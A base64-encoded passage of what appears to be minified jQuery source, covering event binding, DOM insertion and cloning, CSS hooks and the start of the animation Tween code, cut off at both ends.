sITF9LHRyaWdnZXI6ZnVuY3Rpb24oKXtyZXR1cm4gRWUodGhpcyx0KSwhMH0sX2RlZmF1bHQ6ZnVuY3Rpb24oZSl7cmV0dXJuIFkuZ2V0KGUudGFyZ2V0LHQpfSxkZWxlZ2F0ZVR5cGU6ZX19KSxFLmVhY2goe21vdXNlZW50ZXI6Im1vdXNlb3ZlciIsbW91c2VsZWF2ZToibW91c2VvdXQiLHBvaW50ZXJlbnRlcjoicG9pbnRlcm92ZXIiLHBvaW50ZXJsZWF2ZToicG9pbnRlcm91dCJ9LGZ1bmN0aW9uKGUsaSl7RS5ldmVudC5zcGVjaWFsW2VdPXtkZWxlZ2F0ZVR5cGU6aSxiaW5kVHlwZTppLGhhbmRsZTpmdW5jdGlvbihlKXt2YXIgdCxuPWUucmVsYXRlZFRhcmdldCxyPWUuaGFuZGxlT2JqO3JldHVybiBuJiYobj09PXRoaXN8fEUuY29udGFpbnModGhpcyxuKSl8fChlLnR5cGU9ci5vcmlnVHlwZSx0PXIuaGFuZGxlci5hcHBseSh0aGlzLGFyZ3VtZW50cyksZS50eXBlPWkpLHR9fX0pLEUuZm4uZXh0ZW5kKHtvbjpmdW5jdGlvbihlLHQsbixyKXtyZXR1cm4gU2UodGhpcyxlLHQsbixyKX0sb25lOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiBTZSh0aGlzLGUsdCxuLHIsMSl9LG9mZjpmdW5jdGlvbihlLHQsbil7dmFyIHIsaTtpZihlJiZlLnByZXZlbnREZWZhdWx0JiZlLmhhbmRsZU9iailyZXR1cm4gcj1lLmhhbmRsZU9iaixFKGUuZGVsZWdhdGVUYXJnZXQpLm9mZihyLm5hbWVzcGFjZT9yLm9yaWdUeXBlKyIuIityLm5hbWVzcGFjZTpyLm9yaWdUeXBlLHIuc2VsZWN0b3Isci5oYW5kbGVyKSx0aGlzO2lmKCJvYmplY3QiPT10eXBlb2YgZSl7Zm9yKGkgaW4gZSl0aGlzLm9mZihpLHQsZVtpXSk7cmV0dXJuIHRoaXN9cmV0dXJuITEhPT10JiYiZnVuY3Rpb24iIT10eXBlb2YgdHx8KG49dCx0PXZvaWQgMCksITE9PT1uJiYobj1UZSksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7RS5ldmVudC5yZW1vdmUodGhpcyxlLG4sdCl9KX19KTt2YXIga2U9LzxzY3JpcHR8PHN0eWxlfDxsaW5rL2ksQWU9L2NoZWNrZWRccyooPzpbXj1dfD1ccyouY2hlY2tlZC4pL2ksTmU9L15ccyo8IVxbQ0RBVEFcW3xcXVxdPlxzKiQvZztmdW5jdGlvbiBqZShlLHQpe3JldHVybiBBKGUsInRhYmxlIikmJkEoMTEhPT10Lm5vZGVUeXBlP3Q6dC5maXJzdENoaWxkLCJ0ciIpJiZFKGUpLmNoaWxkcmVuKCJ0Ym9keSIpWzBdfHxlfWZ1bmN0aW9uIERlKGUpe3JldHVybiBlLnR5cGU9KG51bGwhPT1lLmdldEF0dHJpYnV0ZSgidHlwZSIpKSsiLyIrZS50eXBlLGV9ZnVuY3Rpb24gcWUoZSl7cmV0dXJuInRydWUvIj09PShlLnR5cGV8fCIiKS5zbGljZSgwLDUpP2UudHlwZT1lLnR5cGUuc2xpY2UoNSk6ZS5yZW1vdmVBdHRyaWJ1dGUoInR5cGUiKSxlfWZ1bmN0aW9uIExlKGUsdCl7dmFyIG4scixpLG8sYSxzO2lmKDE9PT10Lm5vZGVUeXBlKXtpZihZLmhhc0RhdGEoZSkmJihzPVkuZ2V0KGUpLmV2ZW50cykpZm9yKGkgaW4gWS5yZW1vdmUodCwiaGFuZGxlIGV2ZW50cyIpLHMpZm9yKG49MCxyPXNbaV0ubGVuZ3RoO248cjtuKyspRS5ldmVudC5hZGQodCxpLHNbaV1bbl0pO1EuaGFzRGF0YShlKSYmKG89US5hY2Nlc3MoZSksYT1FLmV4dGVuZCh7fSxvKSxRLnNldCh0LGEpKX19ZnVuY3Rpb24gSGUobixyLGksbyl7cj1nKHIpO3ZhciBlLHQsYSxzLHUsbCxjPTAsZj1uLmxlbmd0aCxwPWYtMSxkPXJbMF0saD1tKGQpO2lmKGh8fDE8ZiYmInN0cmluZyI9PXR5cGVvZiBkJiYhdi5jaGVja0Nsb25lJiZBZS50ZXN0KGQpKXJldHVybiBuLmVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9bi5lcShlKTtoJiYoclswXT1kLmNhbGwodGhpcyxlLHQuaHRtbCgpKSksSGUodCxyLGksbyl9KTtpZihmJiYodD0oZT14ZShyLG5bMF0ub3duZXJEb2N1bWVudCwhMSxuLG8pKS5maXJzdENoaWxkLDE9PT1lLmNoaWxkTm9kZXMubGVuZ3RoJiYoZT10KSx0fHxvKSl7Zm9yKHM9KGE9RS5tYXAoeWUoZSwic2NyaXB0IiksRGUpKS5sZW5ndGg7YzxmO2MrKyl1PWUsYyE9PXAmJih1PUUuY2xvbmUodSwhMCwhMCkscyYmRS5tZXJnZShhLHllKHUsInNjcmlwdCIpKSksaS5jYWxsKG5bY10sdSxjKTtpZihzKWZvcihsPWFbYS5sZW5ndGgtMV0ub3duZXJEb2N1bWVudCxFLm1hcChhLHFlKSxjPTA7YzxzO2MrKyl1PWFbY10saGUudGVzdCh1LnR5cGV8fCIiKSYmIVkuYWNjZXNzKHUsImdsb2JhbEV2YWwiKSYmRS5jb250YWlucyhsLHUpJiYodS5zcmMmJiJtb2R1bGUiIT09KHUudHlwZXx8IiIpLnRvTG93ZXJDYXNlKCk/RS5fZXZhbFVybCYmIXUubm9Nb2R1bGUmJkUuX2V2YWxVcmwodS5zcmMse25vbmNlOnUubm9uY2V8fHUuZ2V0QXR0cmlidXRlKCJub25jZSIpfSxsKTpiKHUudGV4dENvbnRlbnQucmVwbGFjZShOZSwiIiksdSxsKSl9cmV0dXJuIG59ZnVuY3Rpb24gT2UoZSx0LG4pe2Zvcih2YXIgcixpPXQ/RS5maWx0ZXIodCxlKTplLG89MDtudWxsIT0ocj1pW29dKTtvKyspbnx8MSE9PXIubm9kZVR5cGV8fEUuY2xlYW5EYXRhKHllKHIpKSxyLnBhcmVudE5vZGUmJihuJiZpZShyKSYmdmUoeWUociwic2NyaXB0IikpLHIucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChyKSk7cmV0dXJuIGV9RS5leHRlbmQoe2h0bWxQcmVmaWx0ZXI6ZnVuY3Rpb24oZSl7cmV0dXJuIGV9LGNsb25lOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYSxzLHUsbCxjPWUuY2xvbmVOb2RlKCEwKSxmPWllKGUpO2lmKCEodi5ub0Nsb25lQ2hlY2tlZHx8MSE9PWUubm9kZVR5cGUmJjExIT09ZS5ub2RlVHlwZXx8RS5pc1hNTERvYyhlKSkpZm9yKGE9eWUoYykscj0wLGk9KG89eWUoZSkpLmxlbmd0aDtyPGk7cisrKXM9b1tyXSx1PWFbcl0sdm9pZCAwLCJpbnB1dCI9PT0obD11Lm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpJiZwZS50ZXN0KHMudHlwZSk/dS5jaGVja2VkPXMuY2hlY2tlZDoiaW5wdXQiIT09bCYmInRleHRhcmVhIiE9PWx8fCh1LmRlZmF1bHRWYWx1ZT1zLmRlZmF1bHRWYWx1ZSk7aWYodClpZihuKWZvcihvPW98fHllKGUpLGE9YXx8eWUoYykscj0wLGk9by5sZW5ndGg7cjxpO3IrKylMZShvW3JdLGFbcl0pO2Vsc2UgTGUoZSxjKTtyZXR1cm4gMDwoYT15ZShjLCJzY3JpcHQiKSkubGVuZ3RoJiZ2ZShhLCFmJiZ5ZShlLCJzY3JpcHQiKSksY30sY2xlYW5EYXRhOmZ1bmN0aW9uKGUpe2Zvcih2YXIgdCxuLHIsaT1FLmV2ZW50LnNwZWNpYWwsbz0wO3ZvaWQgMCE9PShuPWVbb10pO28rKylpZihWKG4pKXtpZih0PW5bWS5leHBhbmRvXSl7aWYodC5ldmVudHMpZm9yKHIgaW4gdC5ldmVudHMpaVtyXT9FLmV2ZW50LnJlbW92ZShuLHIpOkUucmVtb3ZlRXZlbnQobixyLHQuaGFuZGxlKTtuW1kuZXhwYW5kb109dm9pZCAwfW5bUS5leHBhbmRvXSYmKG5bUS5leHBhbmRvXT12b2lkIDApfX19KSxFLmZuLmV4dGVuZCh7ZGV0YWNoOmZ1bmN0aW9uKGUpe3JldHVybiBPZSh0aGlzLGUsITApfSxyZW1vdmU6ZnVuY3Rpb24oZSl7cmV0dXJuIE9lKHRoaXMsZSl9LHRleHQ6ZnVuY3Rpb24oZSl7cmV0dXJuIEIodGhpcyxmdW5jdGlvbihlKXtyZXR1cm4gdm9pZCAwPT09ZT9FLnRleHQodGhpcyk6dGhpcy5lbXB0eSgpLmVhY2goZnVuY3Rpb24oKXsxIT09dGhpcy5ub2RlVHlwZSYmMTEhPT10aGlzLm5vZGVUeXBlJiY5IT09dGhpcy5ub2RlVHlwZXx8KHRoaXMudGV4dENvbnRlbnQ9ZSl9KX0sbnVsbCxlLGFyZ3VtZW50cy5sZW5ndGgpfSxhcHBlbmQ6ZnVuY3Rpb24oKXtyZXR1cm4gSGUodGhpcyxhcmd1bWVudHMsZnVuY3Rpb24oZSl7MSE9PXRoaXMubm9kZVR5cGUmJjExIT09dGhpcy5ub2RlVHlwZSYmOSE9PXRoaXMubm9kZVR5cGV8fGplKHRoaXMsZSkuYXBwZW5kQ2hpbGQoZSl9KX0scHJlcGVuZDpmdW5jdGlvbigpe3JldHVybiBIZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXtpZigxPT09dGhpcy5ub2RlVHlwZXx8MTE9PT10aGlzLm5vZGVUeXBlfHw5PT09dGhpcy5ub2RlVHlwZSl7dmFyIHQ9amUodGhpcyxlKTt0Lmluc2VydEJlZm9yZShlLHQuZmlyc3RDaGlsZCl9fSl9LGJlZm9yZTpmdW5jdGlvbigpe3JldHVybiBIZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXt0aGlzLnBhcmVudE5vZGUmJnRoaXMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoZSx0aGlzKX0pfSxhZnRlcjpmdW5jdGlvbigpe3JldHVybiBIZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXt0aGlzLnBhcmVudE5vZGUmJnRoaXMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoZSx0aGlzLm5leHRTaWJsaW5nKX0pfSxlbXB0eTpmdW5jdGlvbigpe2Zvcih2YXIgZSx0PTA7bnVsbCE9KGU9dGhpc1t0XSk7dCsrKTE9PT1lLm5vZGVUeXBlJiYoRS5jbGVhbkRhdGEoeWUoZSwhMSkpLGUudGV4dENvbnRlbnQ9IiIpO3JldHVybiB0aGlzfSxjbG9uZTpmdW5jdGlvbihlLHQpe3JldHVybiBlPW51bGwhPWUmJmUsdD1udWxsPT10P2U6dCx0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiBFLmNsb25lKHRoaXMsZSx0KX0pfSxodG1sOmZ1bmN0aW9uKGUpe3JldHVybiBCKHRoaXMsZnVuY3Rpb24oZSl7dmFyIHQ9dGhpc1swXXx8e30sbj0wLHI9dGhpcy5sZW5ndGg7aWYodm9pZCAwPT09ZSYmMT09PXQubm9kZVR5cGUpcmV0dXJuIHQuaW5uZXJIVE1MO2lmKCJzdHJpbmciPT10eXBlb2YgZSYmIWtlLnRlc3QoZSkmJiFnZVsoZGUuZXhlYyhlKXx8WyIiLCIiXSlbMV0udG9Mb3dlckNhc2UoKV0pe2U9RS5odG1sUHJlZmlsdGVyKGUpO3RyeXtmb3IoO248cjtuKyspMT09PSh0PXRoaXNbbl18fHt9KS5ub2RlVHlwZSYmKEUuY2xlYW5EYXRhKHllKHQsITEpKSx0LmlubmVySFRNTD1lKTt0PTB9Y2F0Y2goZSl7fX10JiZ0aGlzLmVtcHR5KCkuYXBwZW5kKGUpfSxudWxsLGUsYXJndW1lbnRzLmxlbmd0aCl9LHJlcGxhY2VXaXRoOmZ1bmN0aW9uKCl7dmFyIG49W107cmV0dXJuIEhlKHRoaXMsYXJndW1lbnRzLGZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMucGFyZW50Tm9kZTtFLmluQXJyYXkodGhpcyxuKTwwJiYoRS5jbGVhbkRhdGEoeWUodGhpcykpLHQmJnQucmVwbGFjZUNoaWxkKGUsdGhpcykpfSxuKX19KSxFLmVhY2goe2FwcGVuZFRvOiJhcHBlbmQiLHByZXBlbmRUbzoicHJlcGVuZCIsaW5zZXJ0QmVmb3JlOiJiZWZvcmUiLGluc2VydEFmdGVyOiJhZnRlciIscmVwbGFjZUFsbDoicmVwbGFjZVdpdGgifSxmdW5jdGlvbihlLGEpe0UuZm5bZV09ZnVuY3Rpb24oZSl7Zm9yKHZhciB0LG49W10scj1FKGUpLGk9ci5sZW5ndGgtMSxvPTA7bzw9aTtvKyspdD1vPT09aT90aGlzOnRoaXMuY2xvbmUoITApLEUocltvXSlbYV0odCksdS5hcHBseShuLHQuZ2V0KCkpO3JldHVybiB0aGlzLnB1c2hTdGFjayhuKX19KTt2YXIgUGU9bmV3IFJlZ0V4cCgiXigiK2VlKyIpKD8hcHgpW2EteiVdKyQiLCJpIiksUmU9L14tLS8sTWU9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5vd25lckRvY3VtZW50LmRlZmF1bHRWaWV3O3JldHVybiB0JiZ0Lm9wZW5lcnx8KHQ9QyksdC5nZXRDb21wdXRlZFN0eWxlKGUpfSxJZT1mdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPXt9O2ZvcihpIGluIHQpb1tpXT1lLnN0eWxlW2ldLGUuc3R5bGVbaV09dFtpXTtmb3IoaSBpbiByPW4uY2FsbChlKSx0KWUuc3R5bGVbaV09b1tpXTtyZXR1cm4gcn0sV2U9bmV3IFJlZ0V4cChuZS5qb2luKCJ8IiksImkiKSxGZT0iW1xceDIwXFx0XFxyXFxuXFxmXSIsJGU9bmV3IFJlZ0V4cCgiXiIrRmUrIit8KCg/Ol58W15cXFxcXSkoPzpcXFxcLikqKSIrRmUrIiskIiwiZyIpO2Z1bmN0aW9uIEJlKGUsdCxuKXt2YXIgcixpLG8sYSxzPVJlLnRlc3QodCksdT1lLnN0eWxlO3JldHVybihuPW58fE1lKGUpKSYmKGE9bi5nZXRQcm9wZXJ0eVZhbHVlKHQpfHxuW3RdLHMmJmEmJihhPWEucmVwbGFjZSgkZSwiJDEiKXx8dm9pZCAwKSwiIiE9PWF8fGllKGUpfHwoYT1FLnN0eWxlKGUsdCkpLCF2LnBpeGVsQm94U3R5bGVzKCkmJlBlLnRlc3QoYSkmJldlLnRlc3QodCkmJihyPXUud2lkdGgsaT11Lm1pbldpZHRoLG89dS5tYXhXaWR0aCx1Lm1pbldpZHRoPXUubWF4V2lkdGg9dS53aWR0aD1hLGE9bi53aWR0aCx1LndpZHRoPXIsdS5taW5XaWR0aD1pLHUubWF4V2lkdGg9bykpLHZvaWQgMCE9PWE/YSsiIjphfWZ1bmN0aW9uIF9lKGUsdCl7cmV0dXJue2dldDpmdW5jdGlvbigpe2lmKCFlKCkpcmV0dXJuKHRoaXMuZ2V0PXQpLmFwcGx5KHRoaXMsYXJndW1lbnRzKTtkZWxldGUgdGhpcy5nZXR9fX0hZnVuY3Rpb24oKXtmdW5jdGlvbiBlKCl7aWYobCl7dS5zdHlsZS5jc3NUZXh0PSJwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0Oi0xMTExMXB4O3dpZHRoOjYwcHg7bWFyZ2luLXRvcDoxcHg7cGFkZGluZzowO2JvcmRlcjowIixsLnN0eWxlLmNzc1RleHQ9InBvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6YmxvY2s7Ym94LXNpemluZzpib3JkZXItYm94O292ZXJmbG93OnNjcm9sbDttYXJnaW46YXV0bztib3JkZXI6MXB4O3BhZGRpbmc6MXB4O3dpZHRoOjYwJTt0b3A6MSUiLHJlLmFwcGVuZENoaWxkKHUpLmFwcGVuZENoaWxkKGwpO3ZhciBlPUMuZ2V0Q29tcHV0ZWRTdHlsZShsKTtuPSIxJSIhPT1lLnRvcCxzPTEyPT09dChlLm1hcmdpbkxlZnQpLGwuc3R5bGUucmlnaHQ9IjYwJSIsbz0zNj09PXQoZS5yaWdodCkscj0zNj09PXQoZS53aWR0aCksbC5zdHlsZS5wb3NpdGlvbj0iYWJzb2x1dGUiLGk9MTI9PT10KGwub2Zmc2V0V2lkdGgvMykscmUucmVtb3ZlQ2hpbGQodSksbD1udWxsfX1mdW5jdGlvbiB0KGUpe3JldHVybiBNYXRoLnJvdW5kKHBhcnNlRmxvYXQoZSkpfXZhciBuLHIsaSxvLGEscyx1PVMuY3JlYXRlRWxlbWVudCgiZGl2IiksbD1TLmNyZWF0ZUVsZW1lbnQoImRpdiIpO2wuc3R5bGUmJihsLnN0eWxlLmJhY2tncm91bmRDbGlwPSJjb250ZW50LWJveCIsbC5jbG9uZU5vZGUoITApLnN0eWxlLmJhY2tncm91bmRDbGlwPSIiLHYuY2xlYXJDbG9uZVN0eWxlPSJjb250ZW50LWJveCI9PT1sLnN0eWxlLmJhY2tncm91bmRDbGlwLEUuZXh0ZW5kKHYse2JveFNpemluZ1JlbGlhYmxlOmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxyfSxwaXhlbEJveFN0eWxlczpmdW5jdGlvbigpe3JldHVybiBlKCksb30scGl4ZWxQb3NpdGlvbjpmdW5jdGlvbigpe3JldHVybiBlKCksbn0scmVsaWFibGVNYXJnaW5MZWZ0OmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxzfSxzY3JvbGxib3hTaXplOmZ1bmN0aW9uKCl7cmV0dXJuIGUoKSxpfSxyZWxpYWJsZVRyRGltZW5zaW9uczpmdW5jdGlvbigpe3ZhciBlLHQsbixyO3JldHVybiBudWxsPT1hJiYoZT1TLmNyZWF0ZUVsZW1lbnQoInRhYmxlIiksdD1TLmNyZWF0ZUVsZW1lbnQoInRyIiksbj1TLmNyZWF0ZUVsZW1lbnQoImRpdiIpLGUuc3R5bGUuY3NzVGV4dD0icG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTExMTFweDtib3JkZXItY29sbGFwc2U6c2VwYXJhdGUiLHQuc3R5bGUuY3NzVGV4dD0iYm9yZGVyOjFweCBzb2xpZCIsdC5zdHlsZS5oZWlnaHQ9IjFweCIsbi5zdHlsZS5oZWlnaHQ9IjlweCIsbi5zdHlsZS5kaXNwbGF5PSJibG9jayIscmUuYXBwZW5kQ2hpbGQoZSkuYXBwZW5kQ2hpbGQodCkuYXBwZW5kQ2hpbGQobikscj1DLmdldENvbXB1dGVkU3R5bGUodCksYT1wYXJzZUludChyLmhlaWdodCwxMCkrcGFyc2VJbnQoci5ib3JkZXJUb3BXaWR0aCwxMCkrcGFyc2VJbnQoci5ib3JkZXJCb3R0b21XaWR0aCwxMCk9PT10Lm9mZnNldEhlaWdodCxyZS5yZW1vdmVDaGlsZChlKSksYX19KSl9KCk7dmFyIHplPVsiV2Via2l0IiwiTW96IiwibXMiXSxVZT1TLmNyZWF0ZUVsZW1lbnQoImRpdiIpLnN0eWxlLFhlPXt9O2Z1bmN0aW9uIFZlKGUpe3ZhciB0PUUuY3NzUHJvcHNbZV18fFhlW2VdO3JldHVybiB0fHwoZSBpbiBVZT9lOlhlW2VdPWZ1bmN0aW9uKGUpe3ZhciB0PWVbMF0udG9VcHBlckNhc2UoKStlLnNsaWNlKDEpLG49emUubGVuZ3RoO3doaWxlKG4tLSlpZigoZT16ZVtuXSt0KWluIFVlKXJldHVybiBlfShlKXx8ZSl9dmFyIEdlPS9eKG5vbmV8dGFibGUoPyEtY1tlYV0pLispLyxZZT17cG9zaXRpb246ImFic29sdXRlIix2aXNpYmlsaXR5OiJoaWRkZW4iLGRpc3BsYXk6ImJsb2NrIn0sUWU9e2xldHRlclNwYWNpbmc6IjAiLGZvbnRXZWlnaHQ6IjQwMCJ9O2Z1bmN0aW9uIEplKGUsdCxuKXt2YXIgcj10ZS5leGVjKHQpO3JldHVybiByP01hdGgubWF4KDAsclsyXS0obnx8MCkpKyhyWzNdfHwicHgiKTp0fWZ1bmN0aW9uIEtlKGUsdCxuLHIsaSxvKXt2YXIgYT0id2lkdGgiPT09dD8xOjAscz0wLHU9MDtpZihuPT09KHI/ImJvcmRlciI6ImNvbnRlbnQiKSlyZXR1cm4gMDtmb3IoO2E8NDthKz0yKSJtYXJnaW4iPT09biYmKHUrPUUuY3NzKGUsbituZVthXSwhMCxpKSkscj8oImNvbnRlbnQiPT09biYmKHUtPUUuY3NzKGUsInBhZGRpbmciK25lW2FdLCEwLGkpKSwibWFyZ2luIiE9PW4mJih1LT1FLmNzcyhlLCJib3JkZXIiK25lW2FdKyJXaWR0aCIsITAsaSkpKToodSs9RS5jc3MoZSwicGFkZGluZyIrbmVbYV0sITAsaSksInBhZGRpbmciIT09bj91Kz1FLmNzcyhlLCJib3JkZXIiK25lW2FdKyJXaWR0aCIsITAsaSk6cys9RS5jc3MoZSwiYm9yZGVyIituZVthXSsiV2lkdGgiLCEwLGkpKTtyZXR1cm4hciYmMDw9byYmKHUrPU1hdGgubWF4KDAsTWF0aC5jZWlsKGVbIm9mZnNldCIrdFswXS50b1VwcGVyQ2FzZSgpK3Quc2xpY2UoMSldLW8tdS1zLS41KSl8fDApLHV9ZnVuY3Rpb24gWmUoZSx0LG4pe3ZhciByPU1lKGUpLGk9KCF2LmJveFNpemluZ1JlbGlhYmxlKCl8fG4pJiYiYm9yZGVyLWJveCI9PT1FLmNzcyhlLCJib3hTaXppbmciLCExLHIpLG89aSxhPUJlKGUsdCxyKSxzPSJvZmZzZXQiK3RbMF0udG9VcHBlckNhc2UoKSt0LnNsaWNlKDEpO2lmKFBlLnRlc3QoYSkpe2lmKCFuKXJldHVybiBhO2E9ImF1dG8ifXJldHVybighdi5ib3hTaXppbmdSZWxpYWJsZSgpJiZpfHwhdi5yZWxpYWJsZVRyRGltZW5zaW9ucygpJiZBKGUsInRyIil8fCJhdXRvIj09PWF8fCFwYXJzZUZsb2F0KGEpJiYiaW5saW5lIj09PUUuY3NzKGUsImRpc3BsYXkiLCExLHIpKSYmZS5nZXRDbGllbnRSZWN0cygpLmxlbmd0aCYmKGk9ImJvcmRlci1ib3giPT09RS5jc3MoZSwiYm94U2l6aW5nIiwhMSxyKSwobz1zIGluIGUpJiYoYT1lW3NdKSksKGE9cGFyc2VGbG9hdChhKXx8MCkrS2UoZSx0LG58fChpPyJib3JkZXIiOiJjb250ZW50IiksbyxyLGEpKyJweCJ9ZnVuY3Rpb24gZXQoZSx0LG4scixpKXtyZXR1cm4gbmV3IGV0LnByb3RvdHlwZS5pbml0KGUsdCxuLHIsaSl9RS5leHRlbmQoe2Nzc0hvb2tzOntvcGFjaXR5OntnZXQ6ZnVuY3Rpb24oZSx0KXtpZih0KXt2YXIgbj1CZShlLCJvcGFjaXR5Iik7cmV0dXJuIiI9PT1uPyIxIjpufX19fSxjc3NOdW1iZXI6e2FuaW1hdGlvbkl0ZXJhdGlvbkNvdW50OiEwLGNvbHVtbkNvdW50OiEwLGZpbGxPcGFjaXR5OiEwLGZsZXhHcm93OiEwLGZsZXhTaHJpbms6ITAsZm9udFdlaWdodDohMCxncmlkQXJlYTohMCxncmlkQ29sdW1uOiEwLGdyaWRDb2x1bW5FbmQ6ITAsZ3JpZENvbHVtblN0YXJ0OiEwLGdyaWRSb3c6ITAsZ3JpZFJvd0VuZDohMCxncmlkUm93U3RhcnQ6ITAsbGluZUhlaWdodDohMCxvcGFjaXR5OiEwLG9yZGVyOiEwLG9ycGhhbnM6ITAsd2lkb3dzOiEwLHpJbmRleDohMCx6b29tOiEwfSxjc3NQcm9wczp7fSxzdHlsZTpmdW5jdGlvbihlLHQsbixyKXtpZihlJiYzIT09ZS5ub2RlVHlwZSYmOCE9PWUubm9kZVR5cGUmJmUuc3R5bGUpe3ZhciBpLG8sYSxzPVgodCksdT1SZS50ZXN0KHQpLGw9ZS5zdHlsZTtpZih1fHwodD1WZShzKSksYT1FLmNzc0hvb2tzW3RdfHxFLmNzc0hvb2tzW3NdLHZvaWQgMD09PW4pcmV0dXJuIGEmJiJnZXQiaW4gYSYmdm9pZCAwIT09KGk9YS5nZXQoZSwhMSxyKSk/aTpsW3RdOyJzdHJpbmciPT09KG89dHlwZW9mIG4pJiYoaT10ZS5leGVjKG4pKSYmaVsxXSYmKG49c2UoZSx0LGkpLG89Im51bWJlciIpLG51bGwhPW4mJm49PW4mJigibnVtYmVyIiE9PW98fHV8fChuKz1pJiZpWzNdfHwoRS5jc3NOdW1iZXJbc10/IiI6InB4IikpLHYuY2xlYXJDbG9uZVN0eWxlfHwiIiE9PW58fDAhPT10LmluZGV4T2YoImJhY2tncm91bmQiKXx8KGxbdF09ImluaGVyaXQiKSxhJiYic2V0ImluIGEmJnZvaWQgMD09PShuPWEuc2V0KGUsbixyKSl8fCh1P2wuc2V0UHJvcGVydHkodCxuKTpsW3RdPW4pKX19LGNzczpmdW5jdGlvbihlLHQsbixyKXt2YXIgaSxvLGEscz1YKHQpO3JldHVybiBSZS50ZXN0KHQpfHwodD1WZShzKSksKGE9RS5jc3NIb29rc1t0XXx8RS5jc3NIb29rc1tzXSkmJiJnZXQiaW4gYSYmKGk9YS5nZXQoZSwhMCxuKSksdm9pZCAwPT09aSYmKGk9QmUoZSx0LHIpKSwibm9ybWFsIj09PWkmJnQgaW4gUWUmJihpPVFlW3RdKSwiIj09PW58fG4/KG89cGFyc2VGbG9hdChpKSwhMD09PW58fGlzRmluaXRlKG8pP298fDA6aSk6aX19KSxFLmVhY2goWyJoZWlnaHQiLCJ3aWR0aCJdLGZ1bmN0aW9uKGUsdSl7RS5jc3NIb29rc1t1XT17Z2V0OmZ1bmN0aW9uKGUsdCxuKXtpZih0KXJldHVybiFHZS50ZXN0KEUuY3NzKGUsImRpc3BsYXkiKSl8fGUuZ2V0Q2xpZW50UmVjdHMoKS5sZW5ndGgmJmUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkud2lkdGg/WmUoZSx1LG4pOkllKGUsWWUsZnVuY3Rpb24oKXtyZXR1cm4gWmUoZSx1LG4pfSl9LHNldDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaT1NZShlKSxvPSF2LnNjcm9sbGJveFNpemUoKSYmImFic29sdXRlIj09PWkucG9zaXRpb24sYT0ob3x8bikmJiJib3JkZXItYm94Ij09PUUuY3NzKGUsImJveFNpemluZyIsITEsaSkscz1uP0tlKGUsdSxuLGEsaSk6MDtyZXR1cm4gYSYmbyYmKHMtPU1hdGguY2VpbChlWyJvZmZzZXQiK3VbMF0udG9VcHBlckNhc2UoKSt1LnNsaWNlKDEpXS1wYXJzZUZsb2F0KGlbdV0pLUtlKGUsdSwiYm9yZGVyIiwhMSxpKS0uNSkpLHMmJihyPXRlLmV4ZWModCkpJiYicHgiIT09KHJbM118fCJweCIpJiYoZS5zdHlsZVt1XT10LHQ9RS5jc3MoZSx1KSksSmUoMCx0LHMpfX19KSxFLmNzc0hvb2tzLm1hcmdpbkxlZnQ9X2Uodi5yZWxpYWJsZU1hcmdpbkxlZnQsZnVuY3Rpb24oZSx0KXtpZih0KXJldHVybihwYXJzZUZsb2F0KEJlKGUsIm1hcmdpbkxlZnQiKSl8fGUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkubGVmdC1JZShlLHttYXJnaW5MZWZ0OjB9LGZ1bmN0aW9uKCl7cmV0dXJuIGUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkubGVmdH0pKSsicHgifSksRS5lYWNoKHttYXJnaW46IiIscGFkZGluZzoiIixib3JkZXI6IldpZHRoIn0sZnVuY3Rpb24oaSxvKXtFLmNzc0hvb2tzW2krb109e2V4cGFuZDpmdW5jdGlvbihlKXtmb3IodmFyIHQ9MCxuPXt9LHI9InN0cmluZyI9PXR5cGVvZiBlP2Uuc3BsaXQoIiAiKTpbZV07dDw0O3QrKyluW2krbmVbdF0rb109clt0XXx8clt0LTJdfHxyWzBdO3JldHVybiBufX0sIm1hcmdpbiIhPT1pJiYoRS5jc3NIb29rc1tpK29dLnNldD1KZSl9KSxFLmZuLmV4dGVuZCh7Y3NzOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIEIodGhpcyxmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPXt9LGE9MDtpZihBcnJheS5pc0FycmF5KHQpKXtmb3Iocj1NZShlKSxpPXQubGVuZ3RoO2E8aTthKyspb1t0W2FdXT1FLmNzcyhlLHRbYV0sITEscik7cmV0dXJuIG99cmV0dXJuIHZvaWQgMCE9PW4/RS5zdHlsZShlLHQsbik6RS5jc3MoZSx0KX0sZSx0LDE8YXJndW1lbnRzLmxlbmd0aCl9fSksKChFLlR3ZWVuPWV0KS5wcm90b3R5cGU9e2NvbnN0cnVjdG9yOmV0LGluaXQ6ZnVuY3Rpb24oZSx0LG4scixpLG8pe3RoaXMuZWxlbT1lLHRoaXMucHJvcD1uLHRoaXMuZWFzaW5nPWl8fEUuZWFzaW5nLl9kZWZhdWx0LHRoaXMub3B0aW9ucz10LHRoaXMuc3RhcnQ9dGhpcy5ub3c9dGhpcy5jdXIoKSx0aGlzLmVuZD1yLHRoaXMudW5pdD1vfHwoRS5jc3NOdW1iZXJbbl0/IiI6InB4Iil9LGN1cjpmdW5jdGlvbigpe3ZhciBlPWV0LnByb3BIb29rc1t0aGlzLnByb3BdO3JldHVybiBlJiZlLmdldD9lLmdldCh0aGlzKTpldC5wcm9wSG9va3MuX2RlZmF1bHQuZ2V0KHRoaXMpfSxydW46ZnVuY3Rpb